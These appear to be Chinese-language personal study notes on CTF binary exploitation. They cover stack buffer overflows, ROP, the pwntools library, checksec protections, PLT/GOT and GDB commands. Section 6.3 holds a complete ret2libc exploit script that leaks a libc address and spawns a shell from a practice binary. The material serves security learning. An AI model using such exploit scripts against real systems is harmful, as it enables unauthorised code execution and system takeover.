pwn常用知识索引
##1. pwn是什么
百度百科给出的回答是”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了 。
2. 如何实现攻破?
目前理解范围内的pwn应该就是缓冲区溢出吧,后期理解了新方法时再对该问题进行补充
3. 缓冲区溢出的过程与实现的目的
缓冲区溢出是通过缓冲区漏洞导致程序不正常跳转,以达到控制程序的目的。进行缓冲区溢出的攻击方式即是往缓冲区上写超出变量申请的数据,覆盖相邻栈中的值,以实现控制。
3.5 关于栈帧的几个寄存器的变化规则
±>下降 - ->上升 Linux64位存储变量时使用的寄存器依次为 RDI, RSI, RDX, RCX, R8 和 R9,常见的四种调用约定:_stdcall (windowsAPI 默认调用方式)
_cdecl (c/c++默认调用方式)
_fastcall
_thiscall
gadget:一串pop+ret,通过跳转到这里来改变寄存器的值。
4. 缓冲区溢出的几个种类
4.1 ret2text
控制程序执行程序本身已有的代码。目前看来最常见的就是将程序导向执行system("/bin/sh")
,执行指令之后代表你已经获取了系统的控制权,之后就可以在目录下直接ls查找flag了。
4.2 ret2shellcode
控制程序执行shellcode代码。shellcode代码即是获取目标系统的shell(命令行界面)。shellcode的构造并不需要自己亲自动手,基本上是通过pwntools实现的。
4.3 ret2libc
利用linux的机制去执行libc中的函数,大概相当于执行同一个库中的不同地方的函数吧。基本流程:泄露已经执行过的函数地址->获取system函数与’/bin/sh’的地址->再次执行
4.4 ret2syscall
通过int 0x80
中断来实现的调用,可以用ROPgadget来做查找。
5. ROP攻击
Return-Oriented-Programming,面向返回的编程,基于代码复用技术,从已有的库或可执行文件中提取指令片段构建恶意代码的攻击。
6.pwntools
ubuntu环境+python2.7. 整体分为pwn和pwnlib两部分。根据官方文档来看pwn包主要是用于CTF,而pwnlib则是包含这些函数的库,当你只想挑出部分函数使用时就需要使用这个东西了。
6.1 使用pwntools 流程
-
from pwn import *
-
设定context:
pwntools需要用到全局变量context里面的信息,所以要在最开始设定契合需求的context,其中包括目标操作系统、体系结构(architectures)、多少位
architectures= {‘aarch64’: {‘bits’: 64, ‘endian’: ‘little’},
-
‘alpha’: {‘bits’: 64, ‘endian’: ‘little’},
-
‘amd64’: {‘bits’: 64, ‘endian’: ‘little’},
-
‘arm’: {‘bits’: 32, ‘endian’: ‘little’},
-
‘avr’: {‘bits’: 8, ‘endian’: ‘little’},
-
‘cris’: {‘bits’: 32, ‘endian’: ‘little’},
-
‘i386’: {‘bits’: 32, ‘endian’: ‘little’},
-
‘ia64’: {‘bits’: 64, ‘endian’: ‘big’},
-
‘m68k’: {‘bits’: 32, ‘endian’: ‘big’},
-
‘mips’: {‘bits’: 32, ‘endian’: ‘little’},
-
‘mips64’: {‘bits’: 64, ‘endian’: ‘little’},
-
‘msp430’: {‘bits’: 16, ‘endian’: ‘little’},
-
‘powerpc’: {‘bits’: 32, ‘endian’: ‘big’},
-
‘powerpc64’: {‘bits’: 64, ‘endian’: ‘big’},
-
‘s390’: {‘bits’: 32, ‘endian’: ‘big’},
-
‘sparc’: {‘bits’: 32, ‘endian’: ‘big’},
-
‘sparc64’: {‘bits’: 64, ‘endian’: ‘big’},
-
‘thumb’: {‘bits’: 32, ‘endian’: ‘little’},
-
‘vax’: {‘bits’: 32, ‘endian’: ‘little’}}
定好architecture 时会设置大/小端序与位数
os= [‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’]
多数情况下只需要设置这两个参数即可。
-
-
建立连接
总之建立了连接(管道)就能进行IO了嘛。管道一共四种:
-
Process:process(argv=None, shell=False**,** executable=None**,** cwd=None**,** env=None**,** stdin=-1**,** stdout=<pwnlib.tubes.process.PTY object>, stderr=-2**,** close_fds=True**,** preexec_fn=<function
> , raw=True**,** aslr=None**,** setuid=None**,** where='local’, display=None**,** alarm=None**,** * args, * kwargs)实际上看起来创建这个的时候能改的参数很多,不过实际上主要使用的变量值并不多。executable:要执行的二进制文件地址。stdin、stdout、stderr:设置输入输出与报错的管道。
-
Serial Ports:没见过也没用过,就当它不存在吧。光看解释的话应该是连接的本地端口。
-
SSH:ssh(user, host, port=22, password=None, key=None, keyfile=None, proxy_command=None, proxy_sock=None, level=None, cache=True, ssh_agent=False, *a, **kw)。创建ssh连接,由于要用密码/私钥/私钥文件进行连接所以实际上也不怎么用得到的吧
-
Socket:remote(host, port, fam=‘any’, typ=‘tcp’, ssl=False, sock=None, * args, ** kwargs)与远程主机建立连接。listen(port=0, bindaddr=‘0.0.0.0’, fam=‘any’, typ=‘tcp’, * args,** kwargs) 客户端的接收。server(port=0, bindaddr=‘0.0.0.0’, fam=‘any’, typ=‘tcp’, callback=None, blocking=False, *args, ** kwargs)创建服务端监听连接。常用的就是remote了。fam:{“any”,“ipv4”,“ipv6”},typ:{“tcp”,“udp”}
有了管道实例之后就可以来进行IO交互了。
接收:recv(numb = 4096, timeout = default) 普通的收到多少显示多少
recvn(numb, timeout = default)读n个字符
recvall() 读到EOF停止
recvline(keepends = True)总之就是读一行了,keepends改成false则不要换行符。
recvline_contains(items, keepends=False, timeout=pwnlib.timeout.Timeout.default)返回包含items的行,items可以是tuple
recvline_pred(pred, keepends = False)pred函数返回true就输出该行
recvline_regex(regex, exact=False, keepends=False, timeout=pwnlib.timeout.Timeout.default)
recvline_endswith(delims, keepends = False, timeout = default)返回以delims结尾的行
recvline_startswith(delims, keepends = False, timeout = default) 返回以delims开头的行
recvlines(numlines, keepends = False, timeout = default) 多行
基本上用得到的只有recvline吧
发送:send(data) sendafter(delim, data, timeout = default) sendline(data) sendlineafter(delim, data, timeout = default) sendlinethen(delim, data, timeout = default) sendthen(delim, data, timeout = default) 总之看名字就会用了就不多说了。
交互:获得shell后直接使用interactive()函数就能实现交互了。
至于其他的函数诸如settimeout 、shutdown 、wait之类的要用再翻文档吧。
-
6.2 pwnlib.ELF
建一个实例: ELF(‘addr’)
- p8 p16 p32 p64:把一个数变成地址
- u8 u16 u32 u64:反过来把地址变成一个整数
- address:实际上不是函数,而是一系列的表,有symbols got plt functions,会根据程序的变化更新,而segements sections不会更新。使用起来直接用字典查找。然而输出的数据并非全是地址,function表项输出的内容是一个包含函数名称、地址、大小、elf所在的一个结构体。并且got与plt内容均可在symbols中查阅到,只是会带上got. 或 plt. 的前缀。
6.3 powntools使用代码实例
from pwn import *
from LibcSearcher import LibcSearcher
#引用两个库没什么好说的吧
context(arch='i386',os='linux')#设定容器
pro=process('./rsbo')#设定运行的程序
#pro=remote('192.168.44.159',10100)
#pwnlib.gdb.attach(pro,"b *0x80486a5")#调试要用到的玩意,最好在自己需要调试的python语句前加入raw_input()来停住python程序
elf=ELF('./rsbo')#elf表的设定
write_addr=elf.plt['write']#利用名称来索引地址,具体看ELF的使用
got_libcmain_addr=elf.got['__libc_start_main']
main_addr = elf.symbols['main']
payload=flat(['\x00'*0x6c,write_addr,main_addr,p32(1),got_libcmain_addr,p32(10)])#构造payload的方式,经过测试似乎这样要更好使一些,不用保证类型相同。
#payload='a'*0x6c+write_addr+main_addr+p32(1)+p32(got_libcmain_addr)+p32(10)
pro.send(payload)#IO部分也自己看前文吧
dd=pro.recv()
libcmain_addr= u32(dd[0:4])
libc = LibcSearcher('__libc_start_main',libcmain_addr)#LibcSearcher函数的使用。给出文件名与相应的地址来计算低12位的偏移量。至于为什么是低12位因为是4K
libcbase=libcmain_addr - libc.dump('__libc_start_main')#计算libc的起始地址
system_addr = libcbase + libc.dump('system')#去索引其他的地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
payload2=flat(['\x00'*0x64,system_addr, 0xffffffff,binsh_addr,'\x00'])
pro.send(payload2)
pro.interactive()#最后加上这一条跟得到的shell进行交互
7. checksec filename详细内容
canary:栈保护,原理是用一个标记位放在栈中,用来防止缓冲区溢出攻击
NX(DEP):设置栈段不可执行,enable时开启保护,不能执行代码
PIE(ASLR):内存地址随机化。三种情况:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
RELRO:partial RELRO说明对got表有读写权限,FULL RELRO 则无法修改got表
8. 对plt got的一些理解
参考博客
名词解释
plt:程序链接表,(Procedure Link Table)需要存放外部函数的数据段
got:全局偏移表,(Global Offset Table) 获取数据段存放函数地址的一小段额外代码
延迟绑定实现过程
简单解释一下的话,就是由于延迟绑定,一开始plt和got都是不知道函数的地址的,只存了一些必要的参数。调用函数的时候先进plt表中执行plt表的代码。如果got表是没有修改的,那么此时的got表指向的是plt表的下一行地址,则压栈函数的编号以及模块ID(libc.so这种东西)然后交给_dl_runtime_resolve()
来找到函数真正的地址并改变got表。
当你再次访问相同的函数时就不需要再次查找地址了。
9. 常见的输入输出函数
- write(fd, buf, nbyte):fd,文件描述符,标准输出为1,buf指向缓冲区的头,nbyte时指定字节数
- read 跟上面是一样的玩意,读到文件尾
- puts输出字符串的同时将’\0’变成换行
10. 使用GDB调试时的常用命令
- start: 从main函数的开头打个断点并执行
- breakpoint :简写为b,单独输入不加参数就是在下一行打个断点,后面加函数名就是指定函数,加行号就是指定行,*address就是指定内存处。 info b可以显示你打的断点。启用/停用断点是使用enable/disable。
- continue/c/fg : 往后运行直到下个断点。接数字的话就代表跳过n个断点。
- step/s: 单步调试并且进入函数
- next/n: 单步调试但不进函数
- backtrace / bt :打印栈段信息
- frame : 输出当前栈段的地址啊名称啊之类的属性
- print/p : 输出一些你需要的值。直接p 变量名就能输出变量内容了。如果要查看数组内容则需要
p *array@len
酱紫。指定输出格式则是p/k这样,k的取值:- x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
- x 按十六进制格式显示变量。
- examine/x : 查看内存地址中的值。x/< n/f/u> < addr>
n、f、u是可选的参数。
n 是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个地址的内容。
f 表示显示的格式,参见上面。如果地址所指的是字符串,那么格式可以是s,如果地址是指令地址,那么格式可以是i。
u 表示从当前地址往后请求的字节数,如果不指定的话,GDB默认是4个bytes。u参数可以用下面的字符来代替,b表示单字节,h表示双字节,w表示四字节,g表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。
< addr>表示一个内存地址。
n/f/u三个参数可以一起使用。例如:
命令:x/3uh 0x54320 表示,从内存地址0x54320读取内容,h表示以双字节为一个单位,3表示三个单位,u表示按十六进制显示。 - tty : 可以指定输入输出的终端。在其他终端输入tty可以查看终端号。
- display : 后面可以接表达式,或者 display/ < fmt> < addr> 。fmt可以是i或s,i是输出字符转换成的汇编,s是输出ASCII码。
- 设置/查看变量:
set $foo = *object_ptr
环境变量可以是任何类型,用show convenience可以查看所有的环境变量。 - 查看寄存器的值: info registers info all-registers info registers <regname…>,也可以直接用print $ eip直接访问